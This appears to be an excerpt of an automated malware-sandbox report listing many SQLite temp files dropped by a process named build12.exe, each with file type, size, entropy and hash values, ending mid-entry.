Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3F2F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3F4F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3FB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3FE8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp41B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp41C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp43C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp43D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp45C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp687C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp689C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp68AD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp68CD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6BC3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6BE4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6C04.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6C24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6F05.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6F06.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6F25.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6F26.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6F46.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6F55.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp71CA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp71DB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp71FB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
